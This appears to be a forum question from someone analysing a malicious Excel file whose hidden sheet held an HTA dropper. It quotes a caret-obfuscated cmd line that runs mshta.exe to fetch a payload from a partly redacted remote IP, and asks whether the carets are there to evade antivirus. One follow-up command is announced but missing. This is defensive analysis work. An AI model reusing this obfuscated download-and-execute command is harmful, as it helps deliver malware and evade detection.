I found a malicious Excel file that was using an embedded HTA program as its dropper to download a powershell program from a malicious IP. The dropper was on a hidden sheet in the file. After reviewing the output in the sandbox I found that the syntax in the command line made use of the
^ character. Why?
cmd /c m^sh^t^a h^tt^p^:/^/8x.xxx.xx.xxx/pp/aa.html
Then the following command was :
So, it was using HTA to call mshta.exe but why that syntax in the commandline? Is that valid, a sandbox error, or an attempt to get around security monitoring tools/antivirus software?